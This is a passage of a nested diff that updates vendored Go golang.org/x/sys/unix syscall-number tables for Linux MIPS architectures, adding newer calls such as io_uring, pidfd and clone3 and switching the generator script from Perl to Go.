-+ SYS_SCHED_RR_GET_INTERVAL_TIME64 = 4423
-+ SYS_PIDFD_SEND_SIGNAL = 4424
-+ SYS_IO_URING_SETUP = 4425
-+ SYS_IO_URING_ENTER = 4426
-+ SYS_IO_URING_REGISTER = 4427
-+ SYS_OPEN_TREE = 4428
-+ SYS_MOVE_MOUNT = 4429
-+ SYS_FSOPEN = 4430
-+ SYS_FSCONFIG = 4431
-+ SYS_FSMOUNT = 4432
-+ SYS_FSPICK = 4433
-+ SYS_PIDFD_OPEN = 4434
-+ SYS_CLONE3 = 4435
-+ SYS_OPENAT2 = 4437
-+ SYS_PIDFD_GETFD = 4438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64.go
-index 09db9596..4e525118 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build mips64,linux
-@@ -331,4 +331,21 @@ const (
- SYS_PKEY_MPROTECT = 5323
- SYS_PKEY_ALLOC = 5324
- SYS_PKEY_FREE = 5325
-+ SYS_STATX = 5326
-+ SYS_RSEQ = 5327
-+ SYS_IO_PGETEVENTS = 5328
-+ SYS_PIDFD_SEND_SIGNAL = 5424
-+ SYS_IO_URING_SETUP = 5425
-+ SYS_IO_URING_ENTER = 5426
-+ SYS_IO_URING_REGISTER = 5427
-+ SYS_OPEN_TREE = 5428
-+ SYS_MOVE_MOUNT = 5429
-+ SYS_FSOPEN = 5430
-+ SYS_FSCONFIG = 5431
-+ SYS_FSMOUNT = 5432
-+ SYS_FSPICK = 5433
-+ SYS_PIDFD_OPEN = 5434
-+ SYS_CLONE3 = 5435
-+ SYS_OPENAT2 = 5437
-+ SYS_PIDFD_GETFD = 5438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64le.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64le.go
-index d1b872a0..4d9aa300 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64le.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64le.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build mips64le,linux
-@@ -331,4 +331,21 @@ const (
- SYS_PKEY_MPROTECT = 5323
- SYS_PKEY_ALLOC = 5324
- SYS_PKEY_FREE = 5325
-+ SYS_STATX = 5326
-+ SYS_RSEQ = 5327
-+ SYS_IO_PGETEVENTS = 5328
-+ SYS_PIDFD_SEND_SIGNAL = 5424
-+ SYS_IO_URING_SETUP = 5425
-+ SYS_IO_URING_ENTER = 5426
-+ SYS_IO_URING_REGISTER = 5427
-+ SYS_OPEN_TREE = 5428
-+ SYS_MOVE_MOUNT = 5429
-+ SYS_FSOPEN = 5430
-+ SYS_FSCONFIG = 5431
-+ SYS_FSMOUNT = 5432
-+ SYS_FSPICK = 5433
-+ SYS_PIDFD_OPEN = 5434
-+ SYS_CLONE3 = 5435
-+ SYS_OPENAT2 = 5437
-+ SYS_PIDFD_GETFD = 5438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_mipsle.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_mipsle.go
-index 82ba20f2..64af0707 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_mipsle.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_mipsle.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build mipsle,linux
-@@ -6,369 +6,416 @@
- package unix
-
- const (
-- SYS_SYSCALL = 4000
-- SYS_EXIT = 4001
-- SYS_FORK = 4002
-- SYS_READ = 4003
-- SYS_WRITE = 4004
-- SYS_OPEN = 4005
-- SYS_CLOSE = 4006
-- SYS_WAITPID = 4007
-- SYS_CREAT = 4008
-- SYS_LINK = 4009
-- SYS_UNLINK = 4010
-- SYS_EXECVE = 4011
-- SYS_CHDIR = 4012
-- SYS_TIME = 4013
-- SYS_MKNOD = 4014
-- SYS_CHMOD = 4015
-- SYS_LCHOWN = 4016
-- SYS_BREAK = 4017
-- SYS_UNUSED18 = 4018
-- SYS_LSEEK = 4019
-- SYS_GETPID = 4020
-- SYS_MOUNT = 4021
-- SYS_UMOUNT = 4022
-- SYS_SETUID = 4023
-- SYS_GETUID = 4024
-- SYS_STIME = 4025
-- SYS_PTRACE = 4026
-- SYS_ALARM = 4027
-- SYS_UNUSED28 = 4028
-- SYS_PAUSE = 4029
-- SYS_UTIME = 4030
-- SYS_STTY = 4031
-- SYS_GTTY = 4032
-- SYS_ACCESS = 4033
-- SYS_NICE = 4034
-- SYS_FTIME = 4035
-- SYS_SYNC = 4036
-- SYS_KILL = 4037
-- SYS_RENAME = 4038
-- SYS_MKDIR = 4039
-- SYS_RMDIR = 4040
-- SYS_DUP = 4041
-- SYS_PIPE = 4042
-- SYS_TIMES = 4043
-- SYS_PROF = 4044
-- SYS_BRK = 4045
-- SYS_SETGID = 4046
-- SYS_GETGID = 4047
-- SYS_SIGNAL = 4048
-- SYS_GETEUID = 4049
-- SYS_GETEGID = 4050
-- SYS_ACCT = 4051
-- SYS_UMOUNT2 = 4052
-- SYS_LOCK = 4053
-- SYS_IOCTL = 4054
-- SYS_FCNTL = 4055
-- SYS_MPX = 4056
-- SYS_SETPGID = 4057
-- SYS_ULIMIT = 4058
-- SYS_UNUSED59 = 4059
-- SYS_UMASK = 4060
-- SYS_CHROOT = 4061
-- SYS_USTAT = 4062
-- SYS_DUP2 = 4063
-- SYS_GETPPID = 4064
-- SYS_GETPGRP = 4065
-- SYS_SETSID = 4066
-- SYS_SIGACTION = 4067
-- SYS_SGETMASK = 4068
-- SYS_SSETMASK = 4069
-- SYS_SETREUID = 4070
-- SYS_SETREGID = 4071
-- SYS_SIGSUSPEND = 4072
-- SYS_SIGPENDING = 4073
-- SYS_SETHOSTNAME = 4074
-- SYS_SETRLIMIT = 4075
-- SYS_GETRLIMIT = 4076
-- SYS_GETRUSAGE = 4077
-- SYS_GETTIMEOFDAY = 4078
-- SYS_SETTIMEOFDAY = 4079
-- SYS_GETGROUPS = 4080
-- SYS_SETGROUPS = 4081
-- SYS_RESERVED82 = 4082
-- SYS_SYMLINK = 4083
-- SYS_UNUSED84 = 4084
-- SYS_READLINK = 4085
-- SYS_USELIB = 4086
-- SYS_SWAPON = 4087
-- SYS_REBOOT = 4088
-- SYS_READDIR = 4089
-- SYS_MMAP = 4090
-- SYS_MUNMAP = 4091
-- SYS_TRUNCATE = 4092
-- SYS_FTRUNCATE = 4093
-- SYS_FCHMOD = 4094
-- SYS_FCHOWN = 4095
-- SYS_GETPRIORITY = 4096
-- SYS_SETPRIORITY = 4097
-- SYS_PROFIL = 4098
-- SYS_STATFS = 4099
-- SYS_FSTATFS = 4100
-- SYS_IOPERM = 4101
-- SYS_SOCKETCALL = 4102
-- SYS_SYSLOG = 4103
-- SYS_SETITIMER = 4104
-- SYS_GETITIMER = 4105
-- SYS_STAT = 4106
-- SYS_LSTAT = 4107
-- SYS_FSTAT = 4108
-- SYS_UNUSED109 = 4109
-- SYS_IOPL = 4110
-- SYS_VHANGUP = 4111
-- SYS_IDLE = 4112
-- SYS_VM86 = 4113
-- SYS_WAIT4 = 4114
-- SYS_SWAPOFF = 4115
-- SYS_SYSINFO = 4116
-- SYS_IPC = 4117
-- SYS_FSYNC = 4118
-- SYS_SIGRETURN = 4119
-- SYS_CLONE = 4120
-- SYS_SETDOMAINNAME = 4121
-- SYS_UNAME = 4122
-- SYS_MODIFY_LDT = 4123
-- SYS_ADJTIMEX = 4124
-- SYS_MPROTECT = 4125
-- SYS_SIGPROCMASK = 4126
-- SYS_CREATE_MODULE = 4127
-- SYS_INIT_MODULE = 4128
-- SYS_DELETE_MODULE = 4129
-- SYS_GET_KERNEL_SYMS = 4130
-- SYS_QUOTACTL = 4131
-- SYS_GETPGID = 4132
-- SYS_FCHDIR = 4133
-- SYS_BDFLUSH = 4134
-- SYS_SYSFS = 4135
-- SYS_PERSONALITY = 4136
-- SYS_AFS_SYSCALL = 4137
-- SYS_SETFSUID = 4138
-- SYS_SETFSGID = 4139
-- SYS__LLSEEK = 4140
-- SYS_GETDENTS = 4141
-- SYS__NEWSELECT = 4142
-- SYS_FLOCK = 4143
-- SYS_MSYNC = 4144
-- SYS_READV = 4145
-- SYS_WRITEV = 4146
-- SYS_CACHEFLUSH = 4147
-- SYS_CACHECTL = 4148
-- SYS_SYSMIPS = 4149
-- SYS_UNUSED150 = 4150
-- SYS_GETSID = 4151
-- SYS_FDATASYNC = 4152
-- SYS__SYSCTL = 4153
-- SYS_MLOCK = 4154
-- SYS_MUNLOCK = 4155
-- SYS_MLOCKALL = 4156
-- SYS_MUNLOCKALL = 4157
-- SYS_SCHED_SETPARAM = 4158
-- SYS_SCHED_GETPARAM = 4159
-- SYS_SCHED_SETSCHEDULER = 4160
-- SYS_SCHED_GETSCHEDULER = 4161
-- SYS_SCHED_YIELD = 4162
-- SYS_SCHED_GET_PRIORITY_MAX = 4163
-- SYS_SCHED_GET_PRIORITY_MIN = 4164
-- SYS_SCHED_RR_GET_INTERVAL = 4165
-- SYS_NANOSLEEP = 4166
-- SYS_MREMAP = 4167
-- SYS_ACCEPT = 4168
-- SYS_BIND = 4169
-- SYS_CONNECT = 4170
-- SYS_GETPEERNAME = 4171
-- SYS_GETSOCKNAME = 4172
-- SYS_GETSOCKOPT = 4173
-- SYS_LISTEN = 4174
-- SYS_RECV = 4175
-- SYS_RECVFROM = 4176
-- SYS_RECVMSG = 4177
-- SYS_SEND = 4178
-- SYS_SENDMSG = 4179
-- SYS_SENDTO = 4180
-- SYS_SETSOCKOPT = 4181
-- SYS_SHUTDOWN = 4182
-- SYS_SOCKET = 4183
-- SYS_SOCKETPAIR = 4184
-- SYS_SETRESUID = 4185
-- SYS_GETRESUID = 4186
-- SYS_QUERY_MODULE = 4187
-- SYS_POLL = 4188
-- SYS_NFSSERVCTL = 4189
-- SYS_SETRESGID = 4190
-- SYS_GETRESGID = 4191
-- SYS_PRCTL = 4192
-- SYS_RT_SIGRETURN = 4193
-- SYS_RT_SIGACTION = 4194
-- SYS_RT_SIGPROCMASK = 4195
-- SYS_RT_SIGPENDING = 4196
-- SYS_RT_SIGTIMEDWAIT = 4197
-- SYS_RT_SIGQUEUEINFO = 4198
-- SYS_RT_SIGSUSPEND = 4199
-- SYS_PREAD64 = 4200
-- SYS_PWRITE64 = 4201
-- SYS_CHOWN = 4202
-- SYS_GETCWD = 4203
-- SYS_CAPGET = 4204
-- SYS_CAPSET = 4205
-- SYS_SIGALTSTACK = 4206
-- SYS_SENDFILE = 4207
-- SYS_GETPMSG = 4208
-- SYS_PUTPMSG = 4209
-- SYS_MMAP2 = 4210
-- SYS_TRUNCATE64 = 4211
-- SYS_FTRUNCATE64 = 4212
-- SYS_STAT64 = 4213
-- SYS_LSTAT64 = 4214
-- SYS_FSTAT64 = 4215
-- SYS_PIVOT_ROOT = 4216
-- SYS_MINCORE = 4217
-- SYS_MADVISE = 4218
-- SYS_GETDENTS64 = 4219
-- SYS_FCNTL64 = 4220
-- SYS_RESERVED221 = 4221
-- SYS_GETTID = 4222
-- SYS_READAHEAD = 4223
-- SYS_SETXATTR = 4224
-- SYS_LSETXATTR = 4225
-- SYS_FSETXATTR = 4226
-- SYS_GETXATTR = 4227
-- SYS_LGETXATTR = 4228
-- SYS_FGETXATTR = 4229
-- SYS_LISTXATTR = 4230
-- SYS_LLISTXATTR = 4231
-- SYS_FLISTXATTR = 4232
-- SYS_REMOVEXATTR = 4233
-- SYS_LREMOVEXATTR = 4234
-- SYS_FREMOVEXATTR = 4235
-- SYS_TKILL = 4236
-- SYS_SENDFILE64 = 4237
-- SYS_FUTEX = 4238
-- SYS_SCHED_SETAFFINITY = 4239
-- SYS_SCHED_GETAFFINITY = 4240
-- SYS_IO_SETUP = 4241
-- SYS_IO_DESTROY = 4242
-- SYS_IO_GETEVENTS = 4243
-- SYS_IO_SUBMIT = 4244
-- SYS_IO_CANCEL = 4245
-- SYS_EXIT_GROUP = 4246
-- SYS_LOOKUP_DCOOKIE = 4247
-- SYS_EPOLL_CREATE = 4248
-- SYS_EPOLL_CTL = 4249
-- SYS_EPOLL_WAIT = 4250
-- SYS_REMAP_FILE_PAGES = 4251
-- SYS_SET_TID_ADDRESS = 4252
-- SYS_RESTART_SYSCALL = 4253
-- SYS_FADVISE64 = 4254
-- SYS_STATFS64 = 4255
-- SYS_FSTATFS64 = 4256
-- SYS_TIMER_CREATE = 4257
-- SYS_TIMER_SETTIME = 4258
-- SYS_TIMER_GETTIME = 4259
-- SYS_TIMER_GETOVERRUN = 4260
-- SYS_TIMER_DELETE = 4261
-- SYS_CLOCK_SETTIME = 4262
-- SYS_CLOCK_GETTIME = 4263
-- SYS_CLOCK_GETRES = 4264
-- SYS_CLOCK_NANOSLEEP = 4265
-- SYS_TGKILL = 4266
-- SYS_UTIMES = 4267
-- SYS_MBIND = 4268
-- SYS_GET_MEMPOLICY = 4269
-- SYS_SET_MEMPOLICY = 4270
-- SYS_MQ_OPEN = 4271
-- SYS_MQ_UNLINK = 4272
-- SYS_MQ_TIMEDSEND = 4273
-- SYS_MQ_TIMEDRECEIVE = 4274
-- SYS_MQ_NOTIFY = 4275
-- SYS_MQ_GETSETATTR = 4276
-- SYS_VSERVER = 4277
-- SYS_WAITID = 4278
-- SYS_ADD_KEY = 4280
-- SYS_REQUEST_KEY = 4281
-- SYS_KEYCTL = 4282
-- SYS_SET_THREAD_AREA = 4283
-- SYS_INOTIFY_INIT = 4284
-- SYS_INOTIFY_ADD_WATCH = 4285
-- SYS_INOTIFY_RM_WATCH = 4286
-- SYS_MIGRATE_PAGES = 4287
-- SYS_OPENAT = 4288
-- SYS_MKDIRAT = 4289
-- SYS_MKNODAT = 4290
-- SYS_FCHOWNAT = 4291
-- SYS_FUTIMESAT = 4292
-- SYS_FSTATAT64 = 4293
-- SYS_UNLINKAT = 4294
-- SYS_RENAMEAT = 4295
-- SYS_LINKAT = 4296
-- SYS_SYMLINKAT = 4297
-- SYS_READLINKAT = 4298
-- SYS_FCHMODAT = 4299
-- SYS_FACCESSAT = 4300
-- SYS_PSELECT6 = 4301
-- SYS_PPOLL = 4302
-- SYS_UNSHARE = 4303
-- SYS_SPLICE = 4304
-- SYS_SYNC_FILE_RANGE = 4305
-- SYS_TEE = 4306
-- SYS_VMSPLICE = 4307
-- SYS_MOVE_PAGES = 4308
-- SYS_SET_ROBUST_LIST = 4309
-- SYS_GET_ROBUST_LIST = 4310
-- SYS_KEXEC_LOAD = 4311
-- SYS_GETCPU = 4312
-- SYS_EPOLL_PWAIT = 4313
-- SYS_IOPRIO_SET = 4314
-- SYS_IOPRIO_GET = 4315
-- SYS_UTIMENSAT = 4316
-- SYS_SIGNALFD = 4317
-- SYS_TIMERFD = 4318
-- SYS_EVENTFD = 4319
-- SYS_FALLOCATE = 4320
-- SYS_TIMERFD_CREATE = 4321
-- SYS_TIMERFD_GETTIME = 4322
-- SYS_TIMERFD_SETTIME = 4323
-- SYS_SIGNALFD4 = 4324
-- SYS_EVENTFD2 = 4325
-- SYS_EPOLL_CREATE1 = 4326
-- SYS_DUP3 = 4327
-- SYS_PIPE2 = 4328
-- SYS_INOTIFY_INIT1 = 4329
-- SYS_PREADV = 4330
-- SYS_PWRITEV = 4331
-- SYS_RT_TGSIGQUEUEINFO = 4332
-- SYS_PERF_EVENT_OPEN = 4333
-- SYS_ACCEPT4 = 4334
-- SYS_RECVMMSG = 4335
-- SYS_FANOTIFY_INIT = 4336
-- SYS_FANOTIFY_MARK = 4337
-- SYS_PRLIMIT64 = 4338
-- SYS_NAME_TO_HANDLE_AT = 4339
-- SYS_OPEN_BY_HANDLE_AT = 4340
-- SYS_CLOCK_ADJTIME = 4341
-- SYS_SYNCFS = 4342
-- SYS_SENDMMSG = 4343
-- SYS_SETNS = 4344
-- SYS_PROCESS_VM_READV = 4345
-- SYS_PROCESS_VM_WRITEV = 4346
-- SYS_KCMP = 4347
-- SYS_FINIT_MODULE = 4348
-- SYS_SCHED_SETATTR = 4349
-- SYS_SCHED_GETATTR = 4350
-- SYS_RENAMEAT2 = 4351
-- SYS_SECCOMP = 4352
-- SYS_GETRANDOM = 4353
-- SYS_MEMFD_CREATE = 4354
-- SYS_BPF = 4355
-- SYS_EXECVEAT = 4356
-- SYS_USERFAULTFD = 4357
-- SYS_MEMBARRIER = 4358
-- SYS_MLOCK2 = 4359
-- SYS_COPY_FILE_RANGE = 4360
-- SYS_PREADV2 = 4361
-- SYS_PWRITEV2 = 4362
-- SYS_PKEY_MPROTECT = 4363
-- SYS_PKEY_ALLOC = 4364
-- SYS_PKEY_FREE = 4365
-+ SYS_SYSCALL = 4000
-+ SYS_EXIT = 4001
-+ SYS_FORK = 4002
-+ SYS_READ = 4003
-+ SYS_WRITE = 4004
-+ SYS_OPEN = 4005
-+ SYS_CLOSE = 4006
-+ SYS_WAITPID = 4007
-+ SYS_CREAT = 4008
-+ SYS_LINK = 4009
-+ SYS_UNLINK = 4010
-+ SYS_EXECVE = 4011
-+ SYS_CHDIR = 4012
-+ SYS_TIME = 4013
-+ SYS_MKNOD = 4014
-+ SYS_CHMOD = 4015
-+ SYS_LCHOWN = 4016
-+ SYS_BREAK = 4017
-+ SYS_UNUSED18 = 4018
-+ SYS_LSEEK = 4019
-+ SYS_GETPID = 4020
-+ SYS_MOUNT = 4021
-+ SYS_UMOUNT = 4022
-+ SYS_SETUID = 4023
-+ SYS_GETUID = 4024
-+ SYS_STIME = 4025
-+ SYS_PTRACE = 4026
-+ SYS_ALARM = 4027
-+ SYS_UNUSED28 = 4028
-+ SYS_PAUSE = 4029
-+ SYS_UTIME = 4030
-+ SYS_STTY = 4031
-+ SYS_GTTY = 4032
-+ SYS_ACCESS = 4033
-+ SYS_NICE = 4034
-+ SYS_FTIME = 4035
-+ SYS_SYNC = 4036
-+ SYS_KILL = 4037
-+ SYS_RENAME = 4038
-+ SYS_MKDIR = 4039
-+ SYS_RMDIR = 4040
-+ SYS_DUP = 4041
-+ SYS_PIPE = 4042
-+ SYS_TIMES = 4043
-+ SYS_PROF = 4044
-+ SYS_BRK = 4045
-+ SYS_SETGID = 4046
-+ SYS_GETGID = 4047
-+ SYS_SIGNAL = 4048
-+ SYS_GETEUID = 4049
-+ SYS_GETEGID = 4050
-+ SYS_ACCT = 4051
-+ SYS_UMOUNT2 = 4052
-+ SYS_LOCK = 4053
-+ SYS_IOCTL = 4054
-+ SYS_FCNTL = 4055
-+ SYS_MPX = 4056
-+ SYS_SETPGID = 4057
-+ SYS_ULIMIT = 4058
-+ SYS_UNUSED59 = 4059
-+ SYS_UMASK = 4060
-+ SYS_CHROOT = 4061
-+ SYS_USTAT = 4062
-+ SYS_DUP2 = 4063
-+ SYS_GETPPID = 4064
-+ SYS_GETPGRP = 4065
-+ SYS_SETSID = 4066
-+ SYS_SIGACTION = 4067
-+ SYS_SGETMASK = 4068
-+ SYS_SSETMASK = 4069
-+ SYS_SETREUID = 4070
-+ SYS_SETREGID = 4071
-+ SYS_SIGSUSPEND = 4072
-+ SYS_SIGPENDING = 4073
-+ SYS_SETHOSTNAME = 4074
-+ SYS_SETRLIMIT = 4075
-+ SYS_GETRLIMIT = 4076
-+ SYS_GETRUSAGE = 4077
-+ SYS_GETTIMEOFDAY = 4078
-+ SYS_SETTIMEOFDAY = 4079
-+ SYS_GETGROUPS = 4080
-+ SYS_SETGROUPS = 4081
-+ SYS_RESERVED82 = 4082
-+ SYS_SYMLINK = 4083
-+ SYS_UNUSED84 = 4084
-+ SYS_READLINK = 4085
-+ SYS_USELIB = 4086
-+ SYS_SWAPON = 4087
-+ SYS_REBOOT = 4088
-+ SYS_READDIR = 4089
-+ SYS_MMAP = 4090
-+ SYS_MUNMAP = 4091
-+ SYS_TRUNCATE = 4092
-+ SYS_FTRUNCATE = 4093
-+ SYS_FCHMOD = 4094
-+ SYS_FCHOWN = 4095
-+ SYS_GETPRIORITY = 4096
-+ SYS_SETPRIORITY = 4097
-+ SYS_PROFIL = 4098
-+ SYS_STATFS = 4099
-+ SYS_FSTATFS = 4100
-+ SYS_IOPERM = 4101
-+ SYS_SOCKETCALL = 4102
-+ SYS_SYSLOG = 4103
-+ SYS_SETITIMER = 4104
-+ SYS_GETITIMER = 4105
-+ SYS_STAT = 4106
-+ SYS_LSTAT = 4107
-+ SYS_FSTAT = 4108
-+ SYS_UNUSED109 = 4109
-+ SYS_IOPL = 4110
-+ SYS_VHANGUP = 4111
-+ SYS_IDLE = 4112
-+ SYS_VM86 = 4113
-+ SYS_WAIT4 = 4114
-+ SYS_SWAPOFF = 4115
-+ SYS_SYSINFO = 4116
-+ SYS_IPC = 4117
-+ SYS_FSYNC = 4118
-+ SYS_SIGRETURN = 4119
-+ SYS_CLONE = 4120
-+ SYS_SETDOMAINNAME = 4121
-+ SYS_UNAME = 4122
-+ SYS_MODIFY_LDT = 4123
-+ SYS_ADJTIMEX = 4124
-+ SYS_MPROTECT = 4125
-+ SYS_SIGPROCMASK = 4126
-+ SYS_CREATE_MODULE = 4127
-+ SYS_INIT_MODULE = 4128
-+ SYS_DELETE_MODULE = 4129
-+ SYS_GET_KERNEL_SYMS = 4130
-+ SYS_QUOTACTL = 4131
-+ SYS_GETPGID = 4132
-+ SYS_FCHDIR = 4133
-+ SYS_BDFLUSH = 4134
-+ SYS_SYSFS = 4135
-+ SYS_PERSONALITY = 4136
-+ SYS_AFS_SYSCALL = 4137
-+ SYS_SETFSUID = 4138
-+ SYS_SETFSGID = 4139
-+ SYS__LLSEEK = 4140
-+ SYS_GETDENTS = 4141
-+ SYS__NEWSELECT = 4142
-+ SYS_FLOCK = 4143
-+ SYS_MSYNC = 4144
-+ SYS_READV = 4145
-+ SYS_WRITEV = 4146
-+ SYS_CACHEFLUSH = 4147
-+ SYS_CACHECTL = 4148
-+ SYS_SYSMIPS = 4149
-+ SYS_UNUSED150 = 4150
-+ SYS_GETSID = 4151
-+ SYS_FDATASYNC = 4152
-+ SYS__SYSCTL = 4153
-+ SYS_MLOCK = 4154
-+ SYS_MUNLOCK = 4155
-+ SYS_MLOCKALL = 4156
-+ SYS_MUNLOCKALL = 4157
-+ SYS_SCHED_SETPARAM = 4158
-+ SYS_SCHED_GETPARAM = 4159
-+ SYS_SCHED_SETSCHEDULER = 4160
-+ SYS_SCHED_GETSCHEDULER = 4161
-+ SYS_SCHED_YIELD = 4162
-+ SYS_SCHED_GET_PRIORITY_MAX = 4163
-+ SYS_SCHED_GET_PRIORITY_MIN = 4164
-+ SYS_SCHED_RR_GET_INTERVAL = 4165
-+ SYS_NANOSLEEP = 4166
-+ SYS_MREMAP = 4167
-+ SYS_ACCEPT = 4168
-+ SYS_BIND = 4169
-+ SYS_CONNECT = 4170
-+ SYS_GETPEERNAME = 4171
-+ SYS_GETSOCKNAME = 4172
-+ SYS_GETSOCKOPT = 4173
-+ SYS_LISTEN = 4174
-+ SYS_RECV = 4175
-+ SYS_RECVFROM = 4176
-+ SYS_RECVMSG = 4177
-+ SYS_SEND = 4178
-+ SYS_SENDMSG = 4179
-+ SYS_SENDTO = 4180
-+ SYS_SETSOCKOPT = 4181
-+ SYS_SHUTDOWN = 4182
-+ SYS_SOCKET = 4183
-+ SYS_SOCKETPAIR = 4184
-+ SYS_SETRESUID = 4185
-+ SYS_GETRESUID = 4186
-+ SYS_QUERY_MODULE = 4187
-+ SYS_POLL = 4188
-+ SYS_NFSSERVCTL = 4189
-+ SYS_SETRESGID = 4190
-+ SYS_GETRESGID = 4191
-+ SYS_PRCTL = 4192
-+ SYS_RT_SIGRETURN = 4193
-+ SYS_RT_SIGACTION = 4194
-+ SYS_RT_SIGPROCMASK = 4195
-+ SYS_RT_SIGPENDING = 4196
-+ SYS_RT_SIGTIMEDWAIT = 4197
-+ SYS_RT_SIGQUEUEINFO = 4198
-+ SYS_RT_SIGSUSPEND = 4199
-+ SYS_PREAD64 = 4200
-+ SYS_PWRITE64 = 4201
-+ SYS_CHOWN = 4202
-+ SYS_GETCWD = 4203
-+ SYS_CAPGET = 4204
-+ SYS_CAPSET = 4205
-+ SYS_SIGALTSTACK = 4206
-+ SYS_SENDFILE = 4207
-+ SYS_GETPMSG = 4208
-+ SYS_PUTPMSG = 4209
-+ SYS_MMAP2 = 4210
-+ SYS_TRUNCATE64 = 4211
-+ SYS_FTRUNCATE64 = 4212
-+ SYS_STAT64 = 4213
-+ SYS_LSTAT64 = 4214
-+ SYS_FSTAT64 = 4215
-+ SYS_PIVOT_ROOT = 4216
-+ SYS_MINCORE = 4217
-+ SYS_MADVISE = 4218
-+ SYS_GETDENTS64 = 4219
-+ SYS_FCNTL64 = 4220
-+ SYS_RESERVED221 = 4221
-+ SYS_GETTID = 4222
-+ SYS_READAHEAD = 4223
-+ SYS_SETXATTR = 4224
-+ SYS_LSETXATTR = 4225
-+ SYS_FSETXATTR = 4226
-+ SYS_GETXATTR = 4227
-+ SYS_LGETXATTR = 4228
-+ SYS_FGETXATTR = 4229
-+ SYS_LISTXATTR = 4230
-+ SYS_LLISTXATTR = 4231
-+ SYS_FLISTXATTR = 4232
-+ SYS_REMOVEXATTR = 4233
-+ SYS_LREMOVEXATTR = 4234
-+ SYS_FREMOVEXATTR = 4235
-+ SYS_TKILL = 4236
-+ SYS_SENDFILE64 = 4237
-+ SYS_FUTEX = 4238
-+ SYS_SCHED_SETAFFINITY = 4239
-+ SYS_SCHED_GETAFFINITY = 4240
-+ SYS_IO_SETUP = 4241
-+ SYS_IO_DESTROY = 4242
-+ SYS_IO_GETEVENTS = 4243
-+ SYS_IO_SUBMIT = 4244
-+ SYS_IO_CANCEL = 4245
-+ SYS_EXIT_GROUP = 4246
-+ SYS_LOOKUP_DCOOKIE = 4247
-+ SYS_EPOLL_CREATE = 4248
-+ SYS_EPOLL_CTL = 4249
-+ SYS_EPOLL_WAIT = 4250
-+ SYS_REMAP_FILE_PAGES = 4251
-+ SYS_SET_TID_ADDRESS = 4252
-+ SYS_RESTART_SYSCALL = 4253
-+ SYS_FADVISE64 = 4254
-+ SYS_STATFS64 = 4255
-+ SYS_FSTATFS64 = 4256
-+ SYS_TIMER_CREATE = 4257
-+ SYS_TIMER_SETTIME = 4258
-+ SYS_TIMER_GETTIME = 4259
-+ SYS_TIMER_GETOVERRUN = 4260
-+ SYS_TIMER_DELETE = 4261
-+ SYS_CLOCK_SETTIME = 4262
-+ SYS_CLOCK_GETTIME = 4263
-+ SYS_CLOCK_GETRES = 4264
-+ SYS_CLOCK_NANOSLEEP = 4265
-+ SYS_TGKILL = 4266
-+ SYS_UTIMES = 4267
-+ SYS_MBIND = 4268
-+ SYS_GET_MEMPOLICY = 4269
-+ SYS_SET_MEMPOLICY = 4270
-+ SYS_MQ_OPEN = 4271
-+ SYS_MQ_UNLINK = 4272
-+ SYS_MQ_TIMEDSEND = 4273
-+ SYS_MQ_TIMEDRECEIVE = 4274
-+ SYS_MQ_NOTIFY = 4275
-+ SYS_MQ_GETSETATTR = 4276
-+ SYS_VSERVER = 4277
-+ SYS_WAITID = 4278
-+ SYS_ADD_KEY = 4280
-+ SYS_REQUEST_KEY = 4281
-+ SYS_KEYCTL = 4282
-+ SYS_SET_THREAD_AREA = 4283
-+ SYS_INOTIFY_INIT = 4284
-+ SYS_INOTIFY_ADD_WATCH = 4285
-+ SYS_INOTIFY_RM_WATCH = 4286
-+ SYS_MIGRATE_PAGES = 4287
-+ SYS_OPENAT = 4288
-+ SYS_MKDIRAT = 4289
-+ SYS_MKNODAT = 4290
-+ SYS_FCHOWNAT = 4291
-+ SYS_FUTIMESAT = 4292
-+ SYS_FSTATAT64 = 4293
-+ SYS_UNLINKAT = 4294
-+ SYS_RENAMEAT = 4295
-+ SYS_LINKAT = 4296
-+ SYS_SYMLINKAT = 4297
-+ SYS_READLINKAT = 4298
-+ SYS_FCHMODAT = 4299
-+ SYS_FACCESSAT = 4300
-+ SYS_PSELECT6 = 4301
-+ SYS_PPOLL = 4302
-+ SYS_UNSHARE = 4303
-+ SYS_SPLICE = 4304
-+ SYS_SYNC_FILE_RANGE = 4305
-+ SYS_TEE = 4306
-+ SYS_VMSPLICE = 4307
-+ SYS_MOVE_PAGES = 4308
-+ SYS_SET_ROBUST_LIST = 4309
-+ SYS_GET_ROBUST_LIST = 4310
-+ SYS_KEXEC_LOAD = 4311
-+ SYS_GETCPU = 4312
-+ SYS_EPOLL_PWAIT = 4313
-+ SYS_IOPRIO_SET = 4314
-+ SYS_IOPRIO_GET = 4315
-+ SYS_UTIMENSAT = 4316
-+ SYS_SIGNALFD = 4317
-+ SYS_TIMERFD = 4318
-+ SYS_EVENTFD = 4319
-+ SYS_FALLOCATE = 4320
-+ SYS_TIMERFD_CREATE = 4321
-+ SYS_TIMERFD_GETTIME = 4322
-+ SYS_TIMERFD_SETTIME = 4323
-+ SYS_SIGNALFD4 = 4324
